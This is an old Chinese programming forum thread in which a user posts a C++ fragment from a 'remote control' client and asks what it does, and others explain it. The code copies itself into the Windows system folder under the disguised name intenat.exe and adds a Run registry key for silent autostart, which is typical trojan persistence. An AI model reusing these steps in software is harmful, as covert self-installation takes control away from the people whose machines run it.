谁知道这段代码的用意是什么?

lonenomad 2004-11-18 03:46:00
// 创建互斥体,保证只有一个实例
char direct[256],fi[256],cur[256];
int dirsize=256,dirsize2;
if((dirsize2=GetSystemDirectory(direct,dirsize))==0)//取得系统目录
return false;
direct[dirsize2]=0;
strcpy(fi,direct);
strcat(fi,"\\intenat.exe");//接上\\intenat.exe
WIN32_FIND_DATA wfd;//WIN32_FIND_DATA描述一个文件结构
if(INVALID_HANDLE_VALUE==FindFirstFile(fi,&wfd))//INVALID_HANDLE_VALUE代表不成功
{
int ii; //找一个目录
ii=GetModuleFileName(hInstance,cur,dirsize);//GetModuleFileName反回路径名和可执行文件名
cur[ii]=0;
CopyFile(cur,fi,true);//考备文件true代表不复盖
}

if ((hOnlyInstance=CreateMutex(NULL,false,"JFY's PeerYou"))==NULL)//创建互斥量
return -1;
else if (GetLastError()==ERROR_ALREADY_EXISTS)
return -1;
HKEY keyRet;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
,0,KEY_READ|KEY_WRITE,&keyRet)==ERROR_SUCCESS)
{
unsigned char value[256];
DWORD type=REG_SZ;
DWORD size;
if(RegQueryValueEx(keyRet,"intenat",NULL,&type,value,&size)!=ERROR_SUCCESS)
{

strcat(direct,"\\intenat.exe");
DWORD nowsize=strlen(direct);
RegSetValueEx(keyRet,"intenat",NULL,REG_SZ,(unsigned char*)direct,nowsize);
}
RegCloseKey(keyRet);
}

// 创建用于退出程序的事件句柄
if ((hExitEvent=WSACreateEvent())==WSA_INVALID_EVENT){
CloseHandle(hOnlyInstance);
return -1;
}
公司让定一个远程控制的程序,给的一段代码,注释可能有误。有人知道他的用意吗,程序是客户端的。
...全文
88 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
lonenomad 2004-11-19
  • 打赏
  • 举报
回复
为什么创建用于退出事件的名柄?
oyljerry 2004-11-19
  • 打赏
  • 举报
回复
互斥体,只运行一个实例,启动时运行
老夏Max 2004-11-19
  • 打赏
  • 举报
回复
呵呵,看看!
豆球果东 2004-11-19
  • 打赏
  • 举报
回复
把程序intenat。exe拷贝到windows系统目录下,创建互斥体,保证内存中只有一个实体运行。修改注册表,是系统初始时运行程序。
lonenomad 2004-11-18
  • 打赏
  • 举报
回复
程序在WINMAIN的开头。

16,473

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧